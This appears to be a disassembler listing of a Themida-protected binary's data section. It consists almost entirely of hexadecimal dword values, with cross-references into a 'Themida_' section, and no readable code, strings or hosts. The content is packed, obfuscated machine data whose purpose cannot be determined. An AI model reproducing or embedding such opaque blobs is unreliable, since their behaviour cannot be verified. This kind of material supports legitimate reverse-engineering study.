		dd 4E5AE1B4h, 0F10B4F95h, 0F1877F07h, 9EBDBA6Eh, 1600EB18h
		dd 0DB4A200Eh, 0A4657F05h, 973EDF72h, 0D86E66EEh, 0F9FB75EAh
		dd 27BD9078h, 9CC94E7Eh, 26B6C439h, 8A9526Dh, 0F528D167h
		dd 321CB55Ch, 0C154842Bh, 0C2F67FEBh, 93144328h, 192h
		dd 0F68B2A5Bh, 0EF84234Fh, 0EA7F1A48h, 0E4791443h, 0E2770A3Dh
		dd 41742F47h, 47741BB0h, 407219AEh, 396910A5h, 0CE3C099Eh
		dd 99546FE0h, 0D1A3BA43h, 0C269FC2Ch, 3999119h,	0DD78AA53h
		dd 123ADF3h, 8B5E47A3h,	249861F6h, 0F184B69Ch, 0E311BA50h
		dd 1E08A148h, 0E87E2816h, 6639419Bh, 60F727D0h,	20717D76h
		dd 0C2F5077Ch, 0FCAC423Ah, 0A2EB9D0Eh, 2B15E884h, 0EE5F3523h
		dd 0A77A82A1h, 0BB948E11h, 0A5B76DB4h, 71F9A2BBh, 80F5E379h
		dd 9B7C9559h, 598932C8h, 0CB7B29BEh, 90B96CDDh,	0FAE4B778h
		dd 582EC9F9h, 2D7F7DE2h, 0E328A9D8h, 0AC000000h, 0AE55EA7Bh
		dd 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh, 11A4D792h
		dd 0DA8D57Ch, 49FD178h,	0FD98C86Fh, 3F2D9B68h, 439953CEh
		dd 2C300219h, 0B04F7BFCh, 28CF7009h, 69FFF77Fh,	0A304297Bh
		dd 8C21F447h, 720535DEh, 1DDD6588h, 42713EF1h, 0D583EC33h
		dd 0C35BC151h, 0A34CE283h, 0AC33DA75h, 5D47E879h, 0CAFCA555h
		dd 61F79037h, 9CB80273h, 907A4D43h, 9643E34Ah, 0A0471A41h
		dd 0B94EE919h, 9C43E212h, 0B5398ED0h, 0D462F54Ah, 0F28BBA63h
		dd 40D70708h, 44D401AAh, 6F08E556h, 0BC5D3028h,	48137C15h
		dd 7DDF2EB2h, 6F161D07h, 6212A83Fh, 6F0C0374h, 917B4E28h
		dd 39C2F178h, 24CB6C07h, 78A670B9h, 7118AD48h, 6710A641h
		dd 5CF59C3Bh, 0C67D8C6h, 0DFB2286Fh, 35BDCF5h, 0D1000000h
		dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh,	295CE38Ah
		dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
		dd 3314h, 68240489h, 31B9h, 68241C89h, 5D98h, 68241489h
		dd 60A9585h, 4EC835Bh, 81242489h, 42404h, 535A0000h, 7E242C81h
		dd 8F074F2Eh, 42810842h, 4F2E7E08h, 2434FF07h, 4C4835Ah
		dd 5B2434FFh, 4C481h, 0A8E90000h, 34FFFCDCh, 41158113h
		dd 929CC49Eh, 86AB764Eh, 0A088B847h, 0C503060Ah, 0AF11E0FFh
		dd 11DD6080h, 6EDE3F41h, 0B4A73789h, 4BEB77A1h,	2F0E0910h
		dd 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h
		dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 2E00A6DBh
		dd 1A0046E1h, 0D5A3EAh,	9C000000h, 0FEC819h, 0FBFE4800h
		dd 28000000h, 0D427E641h, 0E9C3727Dh, 0BE7h, 6800Fh, 0BD290000h
		dd 607029Dh
dword_576920	dd 19BDBD83h, 0F000607h, 3A85h,	51958B00h, 0B806070Ah
					; DATA XREF: Themida_:0053E224o
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
		dd 81B83829h, 7C6186EBh, 4C26Ch, 1830Fh, 8BF80000h, 0CDBD83C0h
		dd 6071Ah, 0BD830975h, 6071135h, 50137400h, 0B8C08B53h
		dd 4D0h, 0AB949D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h
		dd 50117400h, 4D0B853h,	9D8D0000h, 609AAE1h, 585BD3FFh
		dd 6ADA8B66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 34B7C350h, 0CD9D896Fh,	8B060704h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 9F21B312h, 48858D9Eh, 6A060AA1h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 6F3C356h, 0B96650A9h, 4899548h, 0DE824h, 0F78B0000h
		dd 375A5866h, 1AB8B9E9h, 0BB257BF0h, 58A5FE7h, 5858D5Fh
		dd 0E9060AA1h, 12h, 0A6190D2Ah,	0AF1F4FE1h, 9EE60716h
		dd 44D837C3h, 0BB900CF4h, 69E27779h, 8B525050h,	0E8310FD8h
		dd 9, 5D27D830h, 0B04E0433h, 5FB5B6E4h,	0BA90585Ah, 3D4AAA68h
		dd 1C195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6285DC3h, 1F9B529h, 448B0607h, 95090424h
		dd 6070A51h, 0A1308589h, 8B66060Ah, 24448BF8h, 89D08B08h
		dd 0AA14485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0B737387Eh, 898D230Dh, 83060732h
		dd 704EDBDh, 850F0006h,	66h, 0BA2105BFh, 0CD85C61Fh, 47060709h
		dd 6E9h, 3384FC00h, 68D3DF9Dh, 9F05A999h, 81F98B66h, 0E4B2434h
		dd 11E94B9Fh, 6A000000h, 3A10F24Dh, 4D1EA6ACh, 0B3D917DEh
		dd 5D6D2316h, 0B5FFCE8Bh, 6070D99h, 2B519D8Bh, 858D0607h
		dd 60A7038h, 0D0FFC88Ah, 0F5BD8Bh, 85890607h, 60704EDh
		dd 1AF5BD89h, 0BD830607h, 6070DBDh, 82850F00h, 8B000000h
		dd 72E55BDh, 0CD85C606h, 47060709h, 6AFCBF66h, 9D876268h
		dd 187EBFAFh, 34815C32h, 92328024h, 4820F25h, 66000000h
		dd 0FF5151BBh, 70D99B5h, 858DF906h, 60A7038h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D4C35343h, 7B50C8E9h
		dd 66D0FF45h, 8204E281h, 0DBD8589h, 14E80607h, 53000000h
		dd 1075830Bh, 6D910527h, 0A5B41433h, 3AF8680Eh,	0F9E478C4h
		dd 0E5BD835Ah, 6072Bh, 0EA850Fh, 9D8B0000h, 6071119h, 9CD85C6h
		dd 6A560607h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 2C59C352h, 0CDC7667Ch,	68DA8B3Eh
		dd 9A209627h, 3481A2B5h, 3FFB1E24h, 50006A4Eh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 3C5482FCh
		dd 0BE8h, 546E8C00h, 1CEEC6F8h,	92DA1C8Dh, 758D8B60h, 81060700h
		dd 0F8B730C7h, 665B6145h, 0BD8BCF8Bh, 6071F1Dh,	0D99B5FFh
		dd 8B500607h, 725ED95h,	0C5BB5A06h, 8D1DC71Bh, 0A703885h
		dd 0C2816606h, 0D0FF994Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0F2C35545h, 0FFB04F2Ch, 5E86070h, 46000000h
		dd 902052B7h, 0BB57D881h, 0B8587638h, 112B4516h, 0E5858961h
		dd 0BB06072Bh, 4E473070h, 9CD85C6h, 686C0607h, 0D4F75755h
		dd 3481DA8Bh, 0F227D624h, 99BD2B0Fh, 0FF06072Ch, 7059DB5h
		dd 8DDA8A06h, 7396385h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 40C18CBFh, 0A14BEAE5h
		dd 8D958B11h, 0FF060722h, 0AD9531D0h, 89060722h, 0AA13485h
		dd 0F9B58906h, 6A06071Eh, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 958B0D88h
		dd 6071FC5h, 0C0E14968h, 10E96Eh, 0E7540000h, 552BB12Fh
		dd 59C8D9Ch, 93BB7F78h,	34819CCCh, 0C0F14924h, 57006A6Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0ED7D1D30h, 858949F8h, 6071B49h, 9CAAC368h, 9CFABF13h
		dd 34810771h, 9DAAC324h, 18E0F13h, 0FC000000h, 958B006Ah
		dd 6073299h, 0F9995FFh,	958B0607h, 6072E69h, 0A1408589h
		dd 0D8B9060Ah, 6A5BA105h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D08B6640h
		dd 4E8h, 1000000h, 50BDB600h, 2407B966h, 424448Bh, 0AE950h
		dd 9F450000h, 54C19852h, 66265235h, 66008B5Ah, 896FD3BAh
		dd 66042444h, 581B89BBh, 7E9h, 895F7100h, 988D6074h, 50DA8B90h
		dd 33904AB7h, 71A1D9Dh,	6A0B6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EB4EC351h
		dd 4C23A7A7h, 81666BC2h, 8DC587EBh, 0AA10D85h, 0D98B6606h
		dd 14E96050h, 32000000h, 0C348CBB4h, 7B6F82B9h,	3DD11Ah
		dd 0C3B78D99h, 0E8850DDEh, 13h,	2E9ECBB2h, 2AE61B9Eh, 0EECDF718h
		dd 3E2A14D9h, 0B0EB0854h, 89615EF3h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3E69D4C3h
		dd 234CA399h, 7028595h,	0ED95FF06h, 6A060704h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 80E0C351h, 0B58DC4DEh, 60AA117h, 68F0Fh, 9D8B0000h
		dd 60725FDh, 89FD8A50h,	0B9662434h, 0E890A190h,	9, 51CB2B9Fh
		dd 470ECA52h, 2820FB7h,	60000000h, 66505A61h, 0E990CB8Bh
		dd 0Eh,	3B7D8BDEh, 975F9F68h, 7555DA71h, 95FF6652h, 6070DBDh
		dd 0FC53D0FFh, 40B58B59h, 29060AA1h, 7140D8Dh, 3885C706h
		dd 60AA1h, 89000000h, 72C91BDh,	207E8006h, 9840F00h, 89000003h
		dd 7213985h, 5B536006h,	8DDFBF0Fh, 5CB52046h, 2800Fh, 14B10000h
		dd 0A13C8589h, 9D89060Ah, 6070E05h, 28E9h, 75952B00h, 40060711h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0ADC35141h
		dd 0FBD5C56h, 388083h, 0FFD5850Fh, 9589FFFFh, 6071389h
		dd 34E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 7354D72Dh, 5265174Ah, 68A0Fh, 95890000h
		dd 6071921h, 0F580485Ah, 5C388079h, 36840Fh, 0B5890000h
		dd 6070EA5h, 0F2F3880h,	2784h, 9E900h, 25F0000h, 0FEFC23D7h
		dd 0B5D3D87Ch, 3C853B6Fh, 0F060AA1h, 0FFFFC883h, 16B3B9FFh
		dd 0E781561Ch, 5016F390h, 0BD83F540h, 60AA144h,	0D3840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 81DDC357h, 0D18E8AEAh,	15BD013Ch
		dd 50060728h, 7E85660h,	0E8000000h, 6DE4616Fh, 5E58F4C8h
		dd 0CE9h, 0FEB5D600h, 0FDC5E9FBh, 97CD9657h, 48961CFh
		dd 1890F24h, 0F5000000h, 0A1448503h, 6A060Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DBD9AFC3h
		dd 0DE8ACE31h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 9F75C353h, 0A3636582h
		dd 5809F69Eh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	0DC35545h
		dd 0CE906h, 22270000h, 6F953C02h, 0C45185D4h, 50902109h
		dd 0FE952h, 0ACE40000h,	8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
		dd 66310F26h, 5AA4C9B9h, 29B75058h, 9CEA8190h, 81724A1Eh
		dd 16B356CAh, 30B5FF7Dh, 6A060AA1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FB0C351h
		dd 68Eh, 0E19D8B00h, 0FF060725h, 0AA13495h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 8642D75Bh, 0BE3E3448h, 0DE86057h, 76000000h,	0BB68F7CDh
		dd 0A214911Ah, 0B8E48B0h, 7E8BF281h, 0F5F616Ch,	0B61F2BFh
		dd 60850FC0h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C1C9C357h,	4622C31Bh
		dd 6A6101h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 465872C3h, 0E20C1C1Fh, 8540C8BBh,	3885C71Eh
		dd 1060AA1h, 89000000h,	70C118Dh, 42E906h, 61F80000h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ACC35545h, 3A4EAE01h
		dd 319454FAh, 1CC68151h, 50000001h, 9E9h, 891F1900h, 112A4934h
		dd 0E95AAF1Ah, 0FFFFFCEDh, 0B60EB868h, 0D38B6615h, 0B8243481h
		dd 0E815B68Eh, 6, 46B815EEh, 858936FFh,	6072869h, 227EBA5Fh
		dd 6A551Ah, 1EC98D8Bh, 0B5FF0607h, 60AA140h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7EC35545h, 79DBE17Ah
		dd 0ADE21A12h, 0AE9h, 102AAE00h, 3672A082h, 0FFBB5D9Fh
		dd 72BE595h, 0DE906h, 0B46D0000h, 4528A29Ch, 268F0344h
		dd 8BEAE259h, 0AA13885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C59D3165h, 5006070Eh
		dd 75BB6653h, 4895905h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F6B21B0Ah, 0C8B0Fh, 820F0000h
		dd 6, 0AC18529h, 85010607h, 6073341h, 0A148858Dh, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0C3803DC3h, 52505092h, 0BADEF8BAh, 50310F3Ch, 870F52h
		dd 0F000000h, 12E931h, 0B2C90000h, 0F1B0DCCh, 8DB7B791h
		dd 0D885A515h, 11222462h, 585A585Ah, 29240489h,	7069185h
		dd 5858D06h, 6A060AA1h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 4304C357h, 0FA729CA4h
		dd 259D035Ch, 90060707h, 0FD84B966h, 73BF6650h,	6A9005h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 3F499C3h, 0A98D8B7Fh, 0FF060702h, 7069595h, 3870F06h
		dd 66000000h, 0C08BF98Bh, 7E9h,	7AB4E300h, 0A312185Fh
		dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501374h
		dd 0D0B8C08Bh, 8D000004h, 9ABFB9Dh, 5BD3FF06h, 35BD8358h
		dd 60711h, 53501174h, 4D0B8h, 0FA9D8D00h, 0FF0609AAh, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2264C351h, 89FE8BD1h, 70A5D9Dh, 6AC08B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0EDECC351h, 0DDDB0591h, 8BC44E90h, 70481BDh
		dd 8D8B5806h, 60729DDh,	8C2C88Ah, 97BFF500h, 8B5C5B03h
		dd 44BF66C0h, 61858DDCh, 8B060AA1h, 70ECD9Dh, 65858906h
		dd 0E906071Ah, 75h, 0D88C6660h,	840F04A8h, 35h,	0B5FF016Ah
		dd 607059Dh, 7038858Dh,	0D0FF060Ah, 6F98589h, 0FE8B0607h
		dd 680CEFC1h, 20040000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 60706F9h, 32E9h, 0CD85C600h,	56060709h, 0C530DF68h
		dd 99B5FFA9h, 8D06070Dh, 0A703885h, 89D0FF06h, 7084D85h
		dd 91858D06h, 50060712h, 56A206Ah, 4D95FF56h, 61060708h
		dd 6E0C1C3h, 39EBh, 2CC00BFh, 2E400BFh,	0BFh, 0A3E00000h
		dd 0AF0D44FEh, 0A74C75E7h, 0A3E521F6h, 0E4244CFDh, 0CAC84DF7h
		dd 861675DDh
		db 0DFh, 21h
word_5775BE	dw 0BE67h		; DATA XREF: Themida_:0053CD08o
		dd 0A4F151DCh, 0AF3849C7h, 0AA2545F2h, 0CA92357Bh, 0CC438993h
		dd 3A1DD081h, 0E4E9ED53h, 3175B522h, 0A8B81634h, 33DFAA63h
		dd 90232691h, 0CAF8E118h, 0CA4AC9C3h, 92842193h, 8EDB7950h
		dd 8EA825B7h, 0CA8325B7h, 9A0A2193h, 0DE811A50h, 72FA2A4h
		dd 0CA4F2689h, 772728E6h, 0CC5530A6h, 9A305593h, 7254AAC0h
		dd 0CA4A252Ah, 0D558A41Ah, 571F2794h, 0CC408C53h, 92FFF26Ch
		dd 0DB679C10h, 0BE292794h, 72C77184h, 0CA4A252Ah, 0D558A41Ah
		dd 571F2794h, 0CC408B3Ch, 92FFF26Ch, 0C0E394BAh, 0C7C12794h
		dd 0DA942193h, 1DDB8EE3h, 1658D33Bh, 0F7193F2Fh, 0CA492D7Ah
		dd 78F3D893h, 0EB358CE9h, 30E21F18h, 0A1F7F08h,	221F21F9h
		dd 0CA252190h, 97517CB3h, 0CE6D4D1Ah, 0CE806512h, 0CA522184h
		dd 81EA74D6h, 0F9FEAC59h, 0CD4A1C06h, 7A0E795h,	9C94269Ah
		dd 221A21F9h, 0CAA42190h, 91917AB3h, 0CE0D7D1Ah, 0CEB06512h
		dd 0CA4A2185h, 0CCE672D0h, 43F2A065h, 0CD56FC16h, 0E7DA095h
		dd 0AB4C6BDEh, 0CA29257Bh, 622C7393h, 0CA43C90Fh, 93092193h
		dd 0AB161B2Bh, 0AC54E0E0h, 95B61E2Ah, 0C6DC2EC3h, 0C5292193h
		dd 0CA942717h, 0C5187193h, 417D7BA2h, 229605D7h, 0CA492199h
		dd 3FB6A3C9h, 0C87497E9h, 0C3C17E8Bh, 47942193h, 37929737h
		dd 0F21B875Fh, 94C8A122h, 71292118h, 0F35FB143h, 9B499EF5h
		dd 0EE6DA8F2h, 0CAFE7997h, 0CA49C9C6h, 97052193h, 0A61B7C50h
		dd 8EC825B7h, 0CAB825B7h, 9F172193h, 6FCD7850h,	0FB354A6Dh
		dd 0CCA31647h, 52252193h, 0E80E1525h, 30C2478Ah, 0C73D946Ch
		dd 7FD92794h, 0CC2E03E2h, 0DA2D94A0h, 4FC72794h, 0CC2F51ABh
		dd 1301E012h, 1AB64530h, 0E4E9AC1Ah, 0CE382794h, 227921F9h
		dd 0CA942190h, 928979B3h, 0CE01651Ah, 0CEB66512h, 0CA49218Fh
		dd 0BC6771D3h, 11B0D1B8h, 3CE88BF3h, 0CA90C96Fh, 0DA4A2193h
		dd 98752193h, 1B1947F3h, 0C52879C4h, 931A47A2h,	9A0A7B2Bh
		dd 414973C3h, 0FB9B4063h, 8EC179C9h, 0C5CD25B7h, 9D922193h
		dd 1694CEEEh, 7AF83A8Fh, 0DA3E84B1h, 41782547h,	41CA7B58h
		dd 0CA46C993h, 0BE8B2193h, 23E345BCh, 7FC00FB0h, 981685D4h
		dd 0EE16A8CDh, 4A24797h, 99944BCBh, 0CA4A227Bh,	97E0193h
		dd 0EECEA8C8h, 0EE0DA097h, 0CAA43797h, 9016293h, 410A0A64h
		dd 6E9C4968h, 0DAA2844Ah, 96252193h, 0BA866EC3h, 4A065DF0h
		dd 7D52F559h, 7360AC11h, 0A7A976E7h, 0EE90A0CAh, 906C7F77h
		dd 0AE21F9h, 0C47AF16Ch, 0C0492193h, 4D36163Eh,	35C84903h
		dd 1B1DB0A9h, 0D719AAA4h, 934C2696h, 0CA252A7Ah, 5ECCB793h
		dd 0E9D395D0h, 1BD2A542h, 6781A41Ah, 41DC2799h,	0C858246Bh
		dd 4FC32193h, 0CC2F8C44h, 438AE110h, 0C0E4FA16h, 73641295h
		dd 0CA52237Fh, 0CA438B60h, 0CA97C9C2h, 936A2193h, 86AC7850h
		dd 8E1325B7h, 0CA5F25B7h, 9BE52193h, 0A4FDC650h, 0E5F49418h
		dd 0CAFE2794h, 0CA49C9C4h, 95052193h, 0B61B7E50h, 8EC825B7h
		dd 0CAB325B7h, 9D152193h, 0E07E0050h, 11F478Ch,	0C387A455h
		dd 41662794h, 4B27A86Ah, 224F2697h, 0CAA42197h,	56354ACDh
		dd 0BF50792Ah, 41F271EBh, 0EE0EAA5Dh, 0CEA42E97h, 0AC922193h
		dd 4173AE2Dh, 0CAA9C893h, 43EC2193h, 1DF6E036h,	9E1D5E85h
		dd 43C1562Eh, 742105D7h, 0A06ABFFCh, 9C494BCBh,	0CAA4227Bh
		dd 90C0193h, 0EE5DA8CDh, 0EED0A097h, 0CA4A3C97h, 9736793h
		dd 0EB1C5F4Fh, 0E669FF7Fh, 75AB3E06h, 6BDF0864h, 352F26BBh
		dd 0CD99B826h, 9C4A4B95h, 0CA25227Bh, 9CC0193h,	0EE3DA8CDh
		dd 0EEE0A097h, 0CA523997h, 97F6793h, 5DD54D77h,	0F2CFACE0h
		dd 23232BE3h, 0CA922194h, 9E54708Fh, 359B42F2h,	2BC7A843h
		dd 432F268Ah, 0CD939816h, 0C1A34195h, 84252193h, 1215ABF1h
		dd 392D80E7h, 0DA4CEDBBh, 96522193h, 11F1D573h,	0ACA52235h
		dd 8C8BBB31h, 925258F5h, 0BF17ACF2h, 9C4F26BDh,	0E491A41Ah
		dd 0AC082794h, 434FF52Ch, 0CD8A1C16h, 20B8A095h, 0C67A2F1h
		dd 0CD9BEC16h, 74217295h, 73791D7Eh, 0DC3D78BDh, 0AC0D1512h
		dd 0A0B5AC36h, 0C9A27493h, 0EA252193h, 43CFE2CEh, 4B4D05FFh
		dd 0DDA005D7h, 8F522193h, 8265E2C6h, 471FD419h,	0CC4D21BEh
		dd 0C7BC946Ch, 4BF42794h, 47D40E49h, 0C0D41916h, 39D94795h
		dd 0CA43F16Ch, 0CA97C9C1h, 906A2193h, 9EAC7B50h, 8E1325B7h
		dd 0CA5125B7h, 98E62193h, 19A99950h, 4FA05CB7h,	0CC932CFAh
		dd 0C387A455h, 23762794h, 0CA922183h, 733E0A98h, 69C1E35Dh
		dd 0F780752Bh, 9C838ED0h, 9E6557FBh, 4B519450h,	0FFE005A7h
		dd 0CAF83ADFh, 0CA4AC9C1h, 90842193h, 9EDB7B50h, 8EA825B7h
		dd 0CA8F25B7h, 98082193h, 3573EF50h, 0C50F0215h, 7E90A0F0h
		dd 43F595B7h, 0CD7B4C06h, 539CDE95h, 4192269Eh,	0CD54D826h
		dd 0F2A0AC95h, 0A0942BE3h, 0C9A17793h, 0EAA42193h, 430CE2CDh
		dd 4B2D05E7h, 0D69005D7h, 8C4A2193h, 5750E2C5h,	9CE2C0B2h
		dd 0E3203E2Ah, 0CDAFB02Eh, 67D7A895h, 352F268Bh, 9A944B43h
		dd 0CA4A227Bh, 97D0193h, 0EED6A8CBh, 0EE0DA097h, 0CAA43797h
		dd 9026193h, 7B4F3CC8h,	0E311A871h, 0A04C26B2h,	0C9CD7093h
		dd 0EA922193h, 4310E2CAh, 4BA005DFh, 0D05605D7h, 8B292193h
		dd 11F5E2C2h, 2AC1626Ah, 7A0E79Eh, 8D94269Ah, 0EF9CAC1Ah
		dd 0CE4C2794h, 63522193h, 0AA9EFF4Eh, 0CA97AD9Ch, 412C2193h
		dd 9A75404Dh, 0D6F9BF5h, 0EE0DAAC9h, 3D2F4797h,	475D2118h
		dd 0CA292197h, 0AB52AAF3h, 0CE6E651Ah, 0FB7DD118h, 0CD893816h
		dd 0EBF42095h, 35A226B3h, 0CD5FB826h, 4FA4D995h, 0CC9E51ABh
		dd 0CA4CA49Ch, 57142193h, 0CC9501BAh, 0CA23F16Ch, 0CAA7C9C0h
		dd 91722193h, 96A07A50h, 8E1525B7h, 0CA5725B7h,	99662193h
		dd 2B102250h, 0DC2E9D80h, 0ACE4B21Ch, 0D2BF612h, 0D558A41Ah
		dd 4F522794h, 0CC4D285Eh, 9B254BD4h, 0CA92227Bh, 9100193h
		dd 0EEE8A8CAh, 0EE16A097h, 0CA293697h, 9C56093h, 50C10CDBh
		dd 0A2D49E9Ch, 316362BEh, 0C8CA2EC5h, 9DA42193h, 0FED37ECDh
		dd 0E77A76B7h, 7F6BD4E9h, 0CC4D2C0Ah, 227621F9h, 0CA922190h
		dd 918A7AB3h, 0CE807D1Ah, 0CE766512h, 0CA292184h, 105772D0h
		dd 413EC922h, 0CD0D8006h, 0F217AC95h, 0A04F2BE3h, 0C94C7093h
		dd 0EA522193h, 4370E2CAh, 4B9005DFh, 0D64E05D7h, 8B252193h
		dd 2228E2C2h, 0F4779524h, 32F6F193h, 5FDBF16Ch,	0CC2E07AEh
		dd 0E1B5A41Ah, 0CA202794h, 0CA26C9C6h, 97B22193h, 0A6C07C50h
		dd 8E2525B7h, 0CA4725B7h, 9F6C2193h, 73427050h,	0EB279835h
		dd 0C3E8A455h, 0A0D52794h, 0C9A17393h, 0EAA42193h, 4308E2C9h
		dd 4B2D05C7h, 0DE9005D7h, 884A2193h, 7F85E2C1h,	786E49D3h
		dd 0C2A18A59h, 7CA42193h, 0A5C54C9Eh, 0AA7FD5D5h, 0B1D99BF5h
		dd 0CA4AA29Ch, 95442193h, 6BB61512h, 0AC48261Dh, 7F5BDB18h
		dd 0CC552C0Ah, 0BA11A41Eh, 0CAFE2799h, 0CA49C9C6h, 97052193h
		dd 0A61B7C50h, 8EC825B7h, 0CAB825B7h, 9F172193h, 0DA6F7250h
		dd 532D99BDh, 5FC10AF7h, 0CC220BEAh, 356C969Ch,	556C9E43h
		dd 4F2D7AD7h, 0CC5521DAh, 227B21F9h, 0CA942190h, 90897BB3h
		dd 0CE01751Ah, 0CEB66512h, 0CA492184h, 0AC6773D1h, 73D2EAFFh
		dd 8C2BD7C8h, 1A6BF119h, 0DAE89EF5h, 0E1E8A41Ah, 4F9D2794h
		dd 0CA492195h, 0CAA4A39Ch, 8AE02193h, 0ACF1ADF5h, 0A4CAEB12h
		dd 0CE6E7BC4h, 0D438B4BAh, 0A982794h, 0C90FA59Ch, 3D252193h
		dd 0CC7A0583h, 0C3E4A455h
		dd 22DB2794h, 0CA4A219Dh, 0FECB4FD5h, 680A4CE7h, 998899Fh
		dd 1C244DC3h, 7D5D7EC9h, 87DE4964h, 0D87CBC46h,	0FC4A2193h
		dd 836721D3h, 0ED38374Bh, 1630DC4Ch, 43CE21CBh,	0C500713Ah
		dd 0CAA22EA2h, 90942193h, 0FECB7FCBh, 9F0412B7h, 230FA8B1h
		dd 354F2694h, 0CDA9B826h, 98524B95h, 0CA29227Bh, 9CE0193h
		dd 0EE1EA8C9h, 0EE61A097h, 0CA923897h, 91B6393h, 2F2DDF40h
		dd 4FDF3E7Ah, 0CC2351ABh, 1A6B8A21h, 0CA4A2F7Bh, 0A8427993h
		dd 5F55DF7Ah, 0A6C9806Bh, 0E9019BCEh, 0CD52101Eh, 0AAA7F95h
		dd 1F2122B7h, 434C2696h, 0CD2CD816h, 9A924B95h,	0CA49227Bh
		dd 9FC0193h, 0EE16A8CBh, 0EE6DA097h, 0CA943D97h, 91A6193h
		dd 60B6B81Dh, 2B0B7D01h, 0C7C62E2Bh, 22A42193h,	0CA522194h
		dd 2CA7DCC1h, 95EC6074h, 0E187A418h, 0CCCC2794h, 9C922193h
		dd 0F64CC96Bh, 8339AAB5h, 0A0542693h, 0C9C17393h, 0EA942193h
		dd 4310E2C9h, 4B2105C7h, 0DD9605D7h, 88492193h,	7DBEE2C1h
		dd 0CFBBE165h, 6E292193h, 0BC580CC8h, 0C3FFAAC3h, 902326B3h
		dd 0CA81C8D0h, 0DBDA2193h, 0F72AE3D2h, 0C998B834h, 0DE9B4066h
		dd 0F2CA33A6h, 4351AA04h, 0CD306826h, 0A089AA95h, 0C9A17393h
		dd 0EAA42193h, 4308E2C9h, 4B2D05C7h, 0D19005D7h, 884A2193h
		dd 25D6E2C1h, 0AE6356E0h, 0D1C24E90h, 1E52A0F5h, 0A08A1232h
		dd 0C9C17293h, 0EA942193h, 4311E2C8h, 4B2105CFh, 0D39605D7h
		dd 89492193h, 0B7AFE2C0h, 0AD54B828h, 37B4A86Ah, 0A0922689h
		dd 0C9A27393h, 0EA252193h, 43C8E2C9h, 4B4D05C7h, 0D2A005D7h
		dd 88522193h, 0B654E2C1h, 0E3CDA6D2h, 0CD442C16h, 7A0E795h
		dd 8D94269Ah, 221B21F9h, 0CAA42190h, 90917BB3h,	0CE0D751Ah
		dd 0CEB06512h, 0CA4A218Ah, 0A7E673D1h, 74066ADCh, 0EFFCA8FEh
		dd 0AAA22699h, 2390AAF5h, 0CA29219Ah, 3AF44080h, 6F1F2B92h
		dd 8D4D4056h, 0AC681768h, 0FEC8D018h, 2282CFB7h, 7FADD9DEh
